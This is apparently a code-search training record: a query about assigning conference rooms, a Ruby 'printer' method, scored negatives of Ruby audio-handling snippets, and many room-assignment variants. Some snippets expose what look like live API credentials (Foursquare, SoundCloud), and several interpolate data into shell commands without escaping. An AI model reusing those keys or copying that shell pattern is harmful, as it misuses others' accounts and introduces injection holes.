= speaker\n\tend\n\t`say -v #{voice} \"#{text}\" -o recordings/\"#{$audio_file_count}\".aiff`\n\toutputList.write(\"file 'recordings/\"+$audio_file_count.to_s+\".aiff'\\n\")\n\t$audio_file_count+=1\nend",
"def audio_gen(slide)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = file_name_gen(slide, \".WAV\")\n say = command_arg('[[slnc 1000]]' + slide['script'] + '[[slnc 1000]]')\n output = command_arg(file_name)\n `say -v Jill #{say} -o #{output}`\n slide['audio'] = file_name\nend",
"def http_audio_url\n https_audio_url.gsub(/\\Ahttps/, 'http')\n end",
"def fq_bundle_sample_prompt\n \"public/upload/audio/\" + bundle_resouce_file_name + \".mp3\"\n end",
"def uploadSoundFile(info, alarm, type)\r\n if !alarm.sound.nil?\r\n # reset storageUrl\r\n alarm.storageUrl = nil\r\n\r\n # get new urls\r\n params = {\r\n :device_id => info.deviceId,\r\n :alarm_type => type\r\n }\r\n res = apiPost(\"storage/alarm\", params)\r\n \r\n if res.status == 201\r\n uploadUrl = downloadUrl = nil\r\n begin\r\n response = JSON.parse(res.body)\r\n downloadUrl = response[\"read_url\"]\r\n uploadUrl = response[\"signed_url\"]\r\n rescue Exception => e \r\n $LOG.warn(\"Invalid body received on post storage/alarm! Err: #{e.message}\")\r\n end\r\n \r\n if !uploadUrl.nil? and !downloadUrl.nil?\r\n # upload WAV \r\n @httpClient.default_header = @wavHeader\r\n begin\r\n File.open(alarm.sound) { |file|\r\n res = @httpClient.put(uploadUrl,\r\n :body => file\r\n )\r\n if res.status == 200\r\n # set storageUrl if everything succeed\r\n alarm.storageUrl = downloadUrl\r\n else\r\n $LOG.warn(\"Failed to put alarm sound to S3! Body: #{res.body}\")\r\n end\r\n }\r\n rescue Exception => e \r\n $LOG.warn(\"Failed to open sound file! Err: #{e.message}\")\r\n end\r\n else\r\n $LOG.warn(\"Failed to get S3 upload/download urls!\")\r\n end\r\n else\r\n $LOG.warn(\"Failed to post \\\"#{type}\\\" alarm to get S3 urls from backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n end\r\n end",
"def save\n files = MyBiaDJ::Table(:files)\n record = files.create(:path => relative_path, :name => name)\n tracks.each do |track|\n track.save(record) if track.mp3?\n end\n end",
"def audio?\n @descriptive_detail.audio?\n end",
"def create\n # params[:audio][:sound] = params[:sound_file_name]\n # first_line = params[:upload].tempfile.readline\n # puts \"params = \" + params.inspect\n # puts \"request = #{request.inspect}\"\n # binding.pry\n buffer = request.body.instance_variable_get('@input').instance_variable_get('@rbuf')\n Rails.logger.debug(\"buffer.size = #{buffer.size}\")\n File.open(\"/tmp/wtfyo.wav\", \"w\") { |f| f.write buffer }\n `open -a \"quicktime player\" /tmp/wtfyo.wav`\n# sound_filename = params[:sound_file_name]\n # sound_file = open(params[:sound_file_name])\n # file = File.open(sound_filename)\n # file.write(file)\n \n # uploaded_io = params[:sound_file_name]\n # File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|\n # file.write(uploaded_io.read)\n # end\n \n # @audio = Audio.create!(:sound => (params[:sound_file_name].readline))\n # @audio = Audio.new(params[:audio])\n respond_to do |format|\n if @audio.save\n format.html { redirect_to @audio, :notice => 'Audio was successfully created.' }\n format.json { render :json => @audio, :status => :created, :location => @audio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @audio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @audio_clip = AudioClip.new(params[:audio_clip])\n @audio_clip.sound_file = params[:sound_file]\n @audio_clip.user_id = params[:user_id]\n # @client = Foursquare2::Client.new(:client_id => 'MLGORRLYKVWVSEMAKWHQURQVIEAZEJ5PSESSRER3VK4XBHRL', :client_secret => 'JT11S30HAAOSMQYEA2CU3QQXB1DEPK5ESQTIM0CUFM1UB2NB')\n # @audio_clip.fsvenue = @client.search_venues(:ll => '36.142064,-86.816086')\n unless @audio_clip.latitude.blank? || @audio_clip.longitude.blank?\n @fsquare_response = open(\"https://api.foursquare.com/v2/venues/search?ll=#{@audio_clip.latitude},#{@audio_clip.longitude}&llAcc=100&limit=1&oauth_token=FNUK2E0Z5BI33J0BRQBR3FZWBBYEUSY4LAX1WE1NPAQDDIHT&v=20130203\").read\n @result = ActiveSupport::JSON.decode(@fsquare_response)\n @audio_clip.fsvenue = @result[\"response\"][\"venues\"][0][\"name\"]\n end\n\n # if @audio_clip.user_id.blank?\n # @audio_clip.user_id == User.audio_clip.id\n # end\n\n\n respond_to do |format|\n if @audio_clip.save\n format.html { redirect_to @audio_clip, notice: 'Audio clip was successfully created.' }\n format.json { render json: @audio_clip, status: :created, location: @audio_clip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @audio_clip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pbPlayTrainerIntroME(trainer_type)\r\n trainer_type_data = GameData::TrainerType.get(trainer_type)\r\n return if nil_or_empty?(trainer_type_data.intro_ME)\r\n bgm = pbStringToAudioFile(trainer_type_data.intro_ME)\r\n pbMEPlay(bgm)\r\nend",
"def create\n user = User.find_by(username: params[:session][:username])\n\n match_login = false\n logger.debug \"Recording #{RECORDING_LENGTH} seconds of audio... to login\"\n microphone = Microphone.new\n filename = \"test_write_user_id_\"+ user.username.to_s + \"_login.raw\"\n\n\n File.open(filename, \"wb\") do |file|\n logger.debug('recording now')\n\n microphone.record do\n\n FFI::MemoryPointer.new(:int16, MAX_SAMPLES) do |buffer|\n puts 'recording now'\n\n 30.times do\n sample_count = microphone.read_audio(buffer, MAX_SAMPLES)\n\n # sample_count * 2 since this is length in bytes\n file.write buffer.get_bytes(0, sample_count * 2)\n\n sleep RECORDING_INTERVAL\n end\n end\n end\n end\n\n decoder = Pocketsphinx::Decoder.new(Pocketsphinx::Configuration.default)\n #decoder.decode filename\n decoder.decode filename\n decoded_text = decoder.hypothesis.to_s\n\n #16000 sampling rate, 1 channel\n user_audio_context = Chromaprint::Context.new(16000, 1)\n audio_data = File.binread(filename)\n #audio_data = File.binread(filename)\n audio_fingerprint = user_audio_context.get_fingerprint(audio_data)\n puts audio_fingerprint.compressed\n threshold = 0.50\n\n\n puts 'user tried logging in with: ' + decoded_text\n #hash the passphrase to see if it matches stored in db\n voice_to_pass_hash = hash_passphrase_text decoded_text\n if voice_to_pass_hash == user.passphrase_text #this means the words are the same\n #hash the passphrase for the key\n login_hash_key = generate_hash_24 decoded_text, user.username\n #use the hash to decrypt the fingerprint\n\n #testing purposes only, user tester and password thisisatest\n #decrypt fingerprint in db to check\n encrypted_fingerprint = user.passphrase_fingerprint\n puts 'the users fingerprint is : ' + encrypted_fingerprint\n decrypted = `python lib/assets/python/dec.py '#{encrypted_fingerprint}' #{login_hash_key}`\n puts decrypted\n decrypted_json = JSON.parse(decrypted)\n\n newone = Chromaprint::Fingerprint.new(decrypted_json[\"compressed\"], decrypted_json[\"raw\"])\n puts decrypted_json\n\n puts 'user passphrase hash matches ' + user.username\n #puts audio_fingerprint.compare(audio_data_check_finger)\n puts audio_fingerprint.compare(newone)\n #compare the stored fingerprint to the newly recorded fingerprint on login\n if audio_fingerprint.compare(newone) >= threshold\n #if the fingerprints match to a degree above or the same as threshold, login\n match_login = true\n puts threshold.to_s\n @threshold_level = audio_fingerprint.compare(newone)\n end\n\n end\n\n #validate user exists and their parameters are correct, log them in\n if user && match_login\n log_in user\n redirect_to user_files_path\n else\n flash.now[:danger] = 'Invalid username/password/passphrase combination'\n render 'new'\n end\n end",
"def on_play(track)\n end",
"def set_audio_quiz_answer\n @audio_quiz_answer = AudioQuizAnswer.find(params[:id])\n end",
"def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end",
"def pbResolveAudioSE(file)\n return nil if !file\n if RTP.exists?(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n return RTP.getPath(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n end\n return nil\nend",
"def pbResolveAudioSE(file)\n return nil if !file\n if RTP.exists?(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n return RTP.getPath(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n end\n return nil\nend",
"def pbResolveAudioSE(file)\n return nil if !file\n if RTP.exists?(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n return RTP.getPath(\"Audio/SE/\"+file,[\"\",\".wav\",\".mp3\",\".ogg\"])\n end\n return nil\nend",
"def new_track\n track = current_user.find_track \n track.is_being_played!\n session[:now_playing] = track.id\n render plain: $client.media(track.file_name)[\"url\"]\n end",
"def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{BRIDGE_PATH}/#{id}/audio\"), data)[0]\n end",
"def show\n \n begin\n @recording = Recording.cached_find(params[:id])\n @recording.playbacks_count += 1\n @recording.uniq_playbacks_count = @recording.playbacks_count.to_uniq\n @recording.save(validate: false)\n ap @recording.uniq_playbacks_count\n user_id = current_user ? current_user.id : nil\n \n playback = Playback.create(\n recording_id: @recording.id, \n user_id: user_id, \n account_id: @recording.account_id \n )\n \n \n if current_user && @recording.privacy == \"Anyone\" \n current_user.create_activity( :created, \n owner: playback, # the recording has many playbacks\n recipient: @recording,\n recipient_type: 'Recording',\n account_id: @recording.user.account.id) \n \n \n \n Activity.notify_followers( 'Listened to this recording', user_id, 'Recording', @recording.id )\n end\n \n \n \n \n rescue\n end\n \n \n \n render nothing: true\n end",
"def soundcloud_url; \"https://soundcloud.com/#{soundcloud}\" end",
"def set_audio_recording\n @audio_recording = AudioRecording.find(params[:id])\n end",
"def pbPlayTrainerIntroME(trainerType)\n data = pbGetTrainerTypeData(trainerType)\n if data && data[6] && data[6]!=\"\"\n bgm = pbStringToAudioFile(data[6])\n pbMEPlay(bgm)\n end\nend",
"def get_media_filepath\n \"Accounts/#{@note.account.identifier}/Previews/#{@filename}\"\n end",
"def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end",
"def speech; end",
"def transcribe_speech(wavfile)\n\tapiurl = \"https://www.google.com/speech-api/v2/recognize?output=json&lang=en-us&key=#{GOOGLEKEY}\"\n\tcommand = \"curl -X POST --data-binary @'#{wavfile}' --header 'Content-Type: audio/l16; rate=8000;' '#{apiurl}'\"\n\tresponse = `#{command}`\n\tif response \n\t\ttranscript = parse_google_speech(response)\n\t\tif transcript \n\t\t\treturn transcript\n\t\tend\n\tend\n\treturn false\nend",
"def record_file(filename, format, digits, timeout=-1, beep=false, silence=nil)\n beep_str = ''\n if ( beep == true ) then\n beep_str = \"BEEP\"\n end\n silence_str = ''\n unless silence.nil?\n silence_str = \"s=#{silence}\"\n end\n response = AGIResponse.new\n command_str = \"RECORD FILE #{filename} #{format} #{digits} #{(timeout.to_i * 1000)} #{beep_str} #{silence_str}\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native > 0\n response.success = true\n response.data = response.native.chr\n else\n response.success = true\n end\n return response\n end",
"def audio?\n !!audio_stream\n end",
"def audiences=(value)\n @audiences = value\n end",
"def play_voicemails(user)\n begin\n latest_status = user.latest_status\n if latest_status\n replies = latest_status.replies\n if replies\n user.latest_status.replies.each_with_index do |tr, index|\n play generate_tts_file('Next Message') if index != 0\n play generate_tts_file(tr.text)\n sleep 2\n end\n else\n play 'vm-no'\n end\n else\n play 'vm-no'\n end\n\n user.voicemails.each_with_index do |voicemail, index|\n unless voicemail.deleted?\n play generate_tts_file('Next Message') if index != 0\n execute 'controlplayback', COMPONENTS.voicemail[\"voicemail_directory\"] + voicemail.file_name\n voicemail.user_read! if voicemail.unread?\n sleep 2\n end\n end\n play 'vm-nomore'\n hangup\n rescue => err\n ahn_log.error err\n end\n end",
"def path_is_unique\n return true if self.mp3.file.blank?\n\n # Guess what the audio path will be before it's actually saved there.\n # This is predictable for uploaded audio.\n # This could potentially fail if someone was uploading audio at exactly\n # midnight and some audio already existed for the next day.\n path = File.join(\n AUDIO_PATH_ROOT,\n self.store_dir,\n self.filename\n )\n\n if File.exist?(path)\n self.errors.add(:mp3, \"A file with that name already exists; \" \\\n \"please rename your local audio file and try again. \" \\\n \"If you are trying to replace the audio file, first delete the \" \\\n \"old audio.\")\n end\n end",
"def handle_music(music)\n return false if $config['music_file']['process'] != true\n log(\"handle_music -> do something with the music file #{music.file}\")\n ap $config['music_file']['storage'] if $opt[\"debug\"]\nend",
"def audio?\n has_stream_of :audio\n end",
"def voice\n # Give Twilio the TwiML payload instructions\n twiml_payload\n end",
"def build_audio_file_name\n return track.build_audio_file_name(segment_artist, record, segment, genre)\n end",
"def play\n\t\treturn \"stoffi:track:youtube:#{youtube_id}\" if youtube?\n\t\treturn \"stoffi:track:soundcloud:#{soundcloud_id}\" if soundcloud?\n\t\treturn url\n\tend",
"def extract_audio_details\n path = audio.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3|\n\t self.title = mp3.tag.title \n\t self.album = mp3.tag.album\n\t self.artist = mp3.tag.artist\n\t self.track = mp3.tag.tracknum\n end\nend",
"def check_title\n if title.to_s == '' && audio_file.present?\n str = File.basename(audio_file_url).gsub(/[_]/, ' ') \n self.title = str.gsub(/[.mp3]/, '')\n self.save\n end\n end",
"def speech_download_first(message)\n chunks = []\n chunk = '' # <= 100 characters\n\n # Split message into chunks of 100 characters\n message = message.split(' ')\n chunk = message.shift\n for word in message\n if (chunk + ' ' + word).length > 100\n chunks << chunk\n chunk = word\n else\n chunk += ' ' + word\n end\n end\n chunks << chunk unless chunk.blank?\n\n # Download each chunk, remove trailing white noise, save to same file.\n file_name = 'chunks_stitched.mp3'\n file = open(file_name, 'w:ASCII-8BIT')\n url = URI.parse('http://translate.google.com/')\n Net::HTTP.start(url.host, url.port) do |http|\n chunks.each_with_index do |chunk, index|\n http.request_get(\"/translate_tts?tl=en&q=#{URI::encode(chunk)}\") do |resp|\n file.write(resp.body.gsub('UUUU', '')) #FIXME to less hacky solution. \n end\n end\n end\n file.close\n\n # Play and delete the file\n `mpg123 -q #{file_name}`\n File.delete(file_name)\n end"
] |
[
"0.6842245",
"0.6816026",
"0.6726095",
"0.64919776",
"0.6384651",
"0.6245367",
"0.6243171",
"0.62332404",
"0.6207534",
"0.6084212",
"0.6054795",
"0.59512675",
"0.5904211",
"0.5889845",
"0.58578175",
"0.5834319",
"0.58333856",
"0.5832681",
"0.5799476",
"0.5783429",
"0.57813036",
"0.5775501",
"0.57738155",
"0.5761558",
"0.57445353",
"0.5737623",
"0.5735753",
"0.5731335",
"0.5724748",
"0.5698076",
"0.5680943",
"0.56767976",
"0.5669193",
"0.5666926",
"0.5643742",
"0.5641618",
"0.56110954",
"0.5584247",
"0.55644494",
"0.5557295",
"0.5552737",
"0.55506164",
"0.5540184",
"0.5525817",
"0.55251324",
"0.5515956",
"0.5515606",
"0.55100626",
"0.5508662",
"0.5505709",
"0.550547",
"0.5505445",
"0.5504416",
"0.5500233",
"0.5499387",
"0.5491307",
"0.5487609",
"0.54834425",
"0.54822963",
"0.5448584",
"0.54468334",
"0.54347837",
"0.5425217",
"0.5423927",
"0.5411835",
"0.5408488",
"0.5368242",
"0.53636783",
"0.5358214",
"0.53543204",
"0.535385",
"0.53409123",
"0.5333992",
"0.53319395",
"0.5325712",
"0.5325712",
"0.5325712",
"0.5323052",
"0.53225",
"0.5319312",
"0.5317524",
"0.5297365",
"0.5296912",
"0.52699333",
"0.5264791",
"0.52639174",
"0.52615094",
"0.5257032",
"0.52456295",
"0.5242821",
"0.5242535",
"0.52368265",
"0.5217145",
"0.52066034",
"0.5205497",
"0.5201474",
"0.519629",
"0.5193229",
"0.51869035",
"0.5174768"
] |
0.66670156
|
3
|
assign_rooms(["Edsger", "Ada", "Charles", "Alan", "Grace", "Linus", "Matz"])
|
def printer (attendees)
the_badges = batch_badge_creator (attendees)
the_rooms = assign_rooms (attendees)
the_badges.each do |x|
puts "#{x}"
end
the_rooms.each do |x|
puts "#{x}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def assign_rooms(names)\n assignments = []\n rooms = (1..7).to_a\n names.each_with_index do |name, index|\n assignments.push(\"Hello, #{name}! You'll be assigned to room #{rooms[index]}!\")\n end\n return assignments\nend",
"def assign_rooms(names)\n assignments = [];\n names.each_with_index { |name, index| assignments.push(\"Hello, #{name}! You'll be assigned to room #{index + 1}!\")};\n return assignments;\nend",
"def assign_rooms(guests)\n guests.map{|guest| \"Hello, #{guest}! You'll be assigned to room #{guests.index(guest) + 1}!\"}\nend",
"def assign_rooms(names)\n names.each_with_index.collect {|name, i| \"Hello, #{name}! You'll be assigned to room #{i+1}!\"}\nend",
"def assign_rooms(names_array)\n room_assignments_array = []\n\n names_array.each_with_index { | name, index |\n room_assignments_array.push(room_assignment_maker(name, index))\n }\n\n room_assignments_array\nend",
"def assign_rooms ( names )\n print_output = []\n names.each_with_index do | name, index |\n print_output << \"Hello, #{name}! You'll be assigned to room #{index+1}!\"\n end\n print_output # return the list ready for printing\nend",
"def assign_rooms(array_of_names)\n room_assignments = []\n\n array_of_names.each_with_index do |name, index|\n room_assignments << \"Hello, #{name}! You'll be assigned to room #{index + 1}!\"\n end\n\n room_assignments\nend",
"def assign_rooms(guest_list)\n #each_with_index: keep track of each name provided and push the message to new array with the name and message\n room_assignments = []\n guest_list.each_with_index { |name, index| room_assignments << \"Hello, #{name}! You'll be assigned to room #{index+1}!\" }\n room_assignments\nend",
"def assign_rooms (names_list)\n\t\nmsgs_with_room_no=names_list.collect.each_with_index{ |current_name,current_index| \"Hello, #{current_name}! You'll be assigned to room #{current_index+1}!\"\n }\n\t\nend",
"def assign_rooms(attendees)\n attendees.map.each_with_index {|name, i| \"Hello, #{name}! You'll be assigned to room #{i + 1}!\"}\nend",
"def assign_rooms(speakers)\n room_assignments = []\n speakers.each_with_index { |speaker,index| room_assignments << \"Hello, #{speaker}! You'll be assigned to room #{index+1}!\"}\n room_assignments\nend",
"def assign_rooms(speakers)\n assigned_rooms = []\n speakers.each.with_index(1) do |speaker, room| \n assigned_rooms << \"Hello, #{speaker}! You'll be assigned to room #{room}!\"\n end\n return assigned_rooms\nend",
"def assign_rooms(names)\n room_array = [ ]\n names.each_with_index do |name, index|\n room = index + 1\n room_array << \"Hello, #{name}! You'll be assigned to room #{room}!\" \n end \n return room_array\nend",
"def assign_rooms(attendees)\n attendees_room = []\n attendees.each_with_index do |name, index|\n attendees_room.push(\"Hello, #{name}! You'll be assigned to room #{index + 1}!\")\n end\nreturn attendees_room\nend",
"def assign_rooms(array_speakers)\n room_assignments = []\n array_speakers.each_with_index {|speaker, room| room_assignments.push \"Hello, #{speaker}! You'll be assigned to room #{room+1}!\"}\n room_assignments\nend",
"def assign_rooms(array)\n\tempty_array = []\n\tarray.each_with_index do |value, index|\n\t\tempty_array << \"Hello, #{value}! You'll be assigned to room #{index + 1}!\"\n\tend\n\treturn empty_array\nend",
"def assign_rooms(attendees)\n room_assignments = []\n attendees.each_with_index do |attendee, index|\n room_assignments << \"Hello, #{attendee}! You'll be assigned to room #{index + 1}!\"\n end\n room_assignments\nend",
"def assign_rooms(speakers)\n speakers.each.with_index(1).collect {|speaker, index| \"Hello, #{speaker}! You'll be assigned to room #{index}!\"}\nend",
"def assign_rooms(speakers) # same logic -- using array as an argument\n speakers.collect { |x| \"Hello, #{x}! You'll be assigned to room #{speakers.index(x)+1}!\" }\nend",
"def assign_rooms(attendee)\n badges = []\n attendee.each.with_index(1) { |val,index| badges.push \"Hello, #{val}! You'll be assigned to room #{index}!\"}\n return badges\nend",
"def assign_rooms( attendees )\n newlist = []\n attendees.each_with_index do |attendee, index|\n newlist << \"Hello, #{attendee}! You'll be assigned to room #{index + 1}!\"\n end\n return newlist\nend",
"def assign_rooms(speakers)\n speaker_array = []\n speakers.each_with_index {|speaker, index| speaker_array << \"Hello, #{speaker}! You'll be assigned to room #{index + 1}!\"}\n speaker_array\nend",
"def assign_rooms(array)\n new_array = []\n counter = 1\n array.each do |name|\n new_array.push(\"Hello, #{name}! You'll be assigned to room #{counter}!\")\n counter += 1\nend\n return new_array\nend",
"def assign_rooms(attendees)\nattendees.each_with_index.map do |name, room_number|\n\"Hello, #{name}! You'll be assigned to room #{room_number+1}!\"\nend\nend",
"def assign_rooms(attendees)\nroom_number = 0\n attendees.collect do |attendee|\n \"Hello, #{attendee}! You'll be assigned to room #{room_number += 1}!\"\n end\nend",
"def assign_rooms(attendees)\n#use #each_with_index to create a room pair for each name. use map to return as new array\n attendees.each_with_index.map do |attendee, index|\n#index+1 to start index count from 1 instead of 0\n \"Hello, #{attendee}! You'll be assigned to room #{index+1}!\"\n end\nend",
"def assign_rooms(attendees)\n attendees.each_with_index.map do |x, index|\n \"Hello, #{x}! You'll be assigned to room #{index + 1}!\"\n end\nend",
"def assign_rooms(attendees)\n var1 = []\n attendees.each_with_index do |speaker, index|\n var1 << \"Hello, #{speaker}! You'll be assigned to room #{index +1}!\"\n end\n var1\nend",
"def assign_rooms(speakers)\n new_arr = []\n speakers.each_with_index do |name, i |\n new_arr << \"Hello, #{name}! You'll be assigned to room #{i + 1}!\"\n end\n new_arr\nend",
"def assign_rooms(attendees)\n attendees.each_with_index.map do | attendee, index |\n \"Hello, #{attendee}! You'll be assigned to room #{index+1}!\"\n end\nend",
"def assign_rooms(attendees)\n attendees.each_with_index.map do |attendee, index|\n \"Hello, #{attendee}! You'll be assigned to room #{index+1}!\"\n end\nend",
"def assign_rooms(attendees)\n attendees.each_with_index.collect do |attendee, index|\n \"Hello, #{attendee}! You'll be assigned to room #{index+1}!\"\n end\nend",
"def assign_rooms(array)\n array.map.with_index do |name, i|\n \"Hello, #{name}! You'll be assigned to room #{i+1}!\"\n end\nend",
"def assign_room\n total_rooms, available_rooms = [], []\n room_type = RoomType.find(self.room_type_id)\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n self.update_column(:room_id, available_rooms.first)\n end",
"def assign_rooms(speakerArray)\n messages = []\n roomNumber = 1\n speakerArray.each do |speaker|\n messages << \"Hello, #{speaker}! You'll be assigned to room #{roomNumber}!\"\n roomNumber+= 1\n end\n messages\nend",
"def assign_rooms(attendees)\n attendees.map.with_index do |name, index|\n \"Hello, #{name}! You'll be assigned to room #{index + 1}!\"\n end\nend",
"def room_assignment_maker(name, index)\n \"Hello, #{name}! You'll be assigned to room #{index + 1}!\"\nend",
"def printer(attendees)\n\n room_assignments = []\n rooms = 1\n attendees.each do |guest|\n puts \"Hello, my name is #{guest}.\"\n rooms += 1\n\n end\n room_assignments = []\n rooms = 1\n attendees.each do |guest|\n puts \"Hello, #{guest}! You'll be assigned to room #{rooms}!\"\n rooms += 1\n\n end\n\nend",
"def assign_rooms(attendees)\nattendees = [\"Edsger\", \"Ada\", \"Charles\", \"Alan\", \"Grace\", \n \"Linus\", \"Matz\"]\n\nhash = Hash.new\n attendees.each_with_index { |name, index|\n hash[index] = index\n }\n return room_assignments\nend",
"def create_rooms(rooms_params)\n\t\trooms_params[:extra_info] ||= \"\"\n\n\t\trooms_params[:range].each do |number|\n\t\t\trooms << Room.create( number: number.to_i, \n\t\t\t\t\t\t\t\t\t\t\t\t\t capacity: rooms_params[:capacity].to_i, \n\t\t\t\t\t\t\t\t\t\t\t\t\t extra_info: rooms_params[:extra_info],\n\t\t\t\t\t\t\t\t\t\t\t\t\t name: rooms_params[:name] )\n\t\tend\n\tend",
"def assign_rooms(speakers)\r\n speakers.map.with_index do |speaker_name, index|\r\n \"Hello, #{speaker_name}! You'll be assigned to room #{index + 1}!\"\r\n end\r\nend",
"def assign_room\n\t\tTeam.update_all({room_1: params[:room_1]}, {number: params[:number]}) unless params[:room_1].blank?\n\t\tTeam.update_all({room_2: params[:room_2]}, {number: params[:number]}) unless params[:room_2].blank?\n\t\tTeam.update_all({room_3: params[:room_3]}, {number: params[:number]}) unless params[:room_3].blank?\n\t\tTeam.update_all({room_4: params[:room_4]}, {number: params[:number]}) unless params[:room_4].blank?\n\t\tredirect_to teams_path, notice: \"Rooms Updated\"\n\tend",
"def assign_rooms(speaker)\nspeaker.collect.with_index(1) do |name, index|\n \"Hello, #{name}! You'll be assigned to room #{index}!\"\n #binding .pry\nend \nend",
"def update_rooms\n Room.find_or_create_by(name: @moving_item.room)\n end",
"def make_hotel_rooms\n (1..20).each do |num|\n @all_rooms << num #Hotel::Room.new(num) I don't think I have to do this\n end\n end",
"def add_rooms_to_dungeon(dungeon)\n dungeon.add_room(:largecave,\n \"Large Cave\",\n \"a large cavernous cave\",\n { :west => :smallcave })\n\n dungeon.add_room(:smallcave,\n \"Small Cave\",\n \"a small, claustrophobic cave\",\n { :east => :largecave })\n\nend",
"def allocate_rooms(sorted_teams_and_adjs, round, format)\n\t\t \tsorted_teams = sorted_teams_and_adjs[0].to_a;\n\t\t sorted_wings = sorted_teams_and_adjs[1].to_a;\n\t\t \n\t\t #seperate the chair judges\n\t\t num_rooms = sorted_teams.count / GlobalConstants::FORMAT[format][:num_teams_per_room];\n\t\t sorted_chairs = sorted_wings.pop(num_rooms);\n\n\t\t #shuffle adjs?\n\n\t\t #get list of rooms that are left\n\t\t rooms = round.tournament.rooms.shuffle;\n\n\t\t while(!sorted_teams.empty?) #assumes multiple of 4 num elts\n\t\t assign_top_bracket(num_rooms, sorted_teams, sorted_chairs, sorted_wings, rooms, round, format); #assign the top brack rooms\n\t\t end\n\t\t end",
"def create_rooms(rooms_id_array)\n if self.room_areas.empty?\n 1.upto(self.bedrooms) do \n room_area = RoomArea.new(:property_id => self.id,\n :room_id => Room.find_by_name(\"Room\").id)\n room_area.save\n end\n end\n for room_id in rooms_id_array do\n room_area = RoomArea.new(:property_id => self.id,\n :room_id => room_id)\n room_area.save\n end\n end",
"def each_room\n get_attribute(:rooms).each_pair\n end",
"def occupy_room(room)\n room.occupied = 1\n end",
"def new_rooms\n min_rooms = MIN_NEXT_ROOMS\n max_rooms = MAX_NEXT_ROOMS\n rand(min_rooms..max_rooms).times do\n @next_rooms << Zarta::Room.new(@dungeon)\n end\n end",
"def list_rooms\n @rooms.each do |room_name, cap| \n puts \"#{room_name} #{cap.available_space()}\"\n end\n end",
"def set_Rooms(value)\n set_input(\"Rooms\", value)\n end",
"def add_room(room)\n @@number_of_rooms += 1\n @rooms << room\n end",
"def find_room_with_spaces\n available_rooms = Array.new()\n available_rooms = @rooms\n .find_all { |room| room.is_full == false}\n .map { |room| room.name }\n return available_rooms\nend",
"def add_room room_name\n @@available_rooms.push room_name unless @@available_rooms.include? room_name\n @rooms_list.append do\n flow :margin => 5 do\n # _why assures me the :checked style will work in the next release\n joined = check :checked => @@joined_rooms.include?(room_name) do |chk|\n @@joined_rooms.push(room_name) and @@room_data[room_name].merge! Chat.join(room_name) if chk.checked?\n Chat.leave(room_name) and @@joined_rooms.delete(room_name) unless chk.checked?\n end\n \n para room_name, :underline => (@room == room_name ? :one : false)\n \n click do\n visit(\"/room/#{room_name}\")\n end unless @room == room_name\n end\n end\n end",
"def add_multile_people_to_room(guests_to_add)\n\n # for guest in guests_to_add\n # # check_in_guests(guest)\n # @guests.push(guest)\n # end\n\n guests_to_add.each { |guest| @guests.push(guest) }\nend",
"def rooms_around(room)\n # Get the person's rooms in alphabetical order\n rooms = memberships.unarchived.alpha\n\n # If there are 5 or fewer we don't need to do anything fancy\n return rooms if rooms.length <= 5\n\n # Get the index for the current room\n room_idx = rooms.index(Membership.joining(self,room).first)\n\n # By default, show two rooms on either side\n lower = room_idx-2 < 0 ? 0 : room_idx-2\n upper = room_idx+2 > rooms.length-1 ? rooms.length-1 : room_idx+2\n\n # If this room is near the bottom of the list, fill in from the top\n if lower < 2\n upper += 2-lower\n rooms = rooms[lower..upper][0,5]\n\n # If this room is near the top of the list, fill in from the bottom\n elsif rooms.length-upper < 2\n lower -= rooms.length-upper+1\n logger.debug(\"__NOW__ LENGTH: #{rooms.length}, LOWER: #{lower}, UPPER: #{upper}, IDX: #{room_idx}\")\n rooms = rooms[lower..upper][-5,5]\n\n # No need to fill, just show that subset\n else\n rooms = rooms[lower..upper]\n end\n\n rooms\n end",
